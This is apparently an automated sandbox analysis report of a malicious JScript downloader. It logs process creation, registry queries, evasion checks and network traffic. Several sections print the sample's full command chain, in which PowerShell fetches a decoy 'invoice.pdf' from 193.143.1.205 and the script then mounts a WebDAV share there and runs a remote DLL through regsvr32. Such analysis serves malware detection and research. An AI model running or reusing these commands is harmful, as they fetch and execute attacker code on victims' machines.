Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9933.js.csv");ITextStream.WriteLine(" entry:8810 f:sauvjaoov");ITextStream.WriteLine(" exec:2 f:sauvjaoov");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49725

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3640			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6241			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep count: 3640 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 6241 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5172	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7372	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8584	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1352903750.000001740763C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2575396804.000001DBE865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2573927361.000001DBE702B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1352903750.000001740763C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
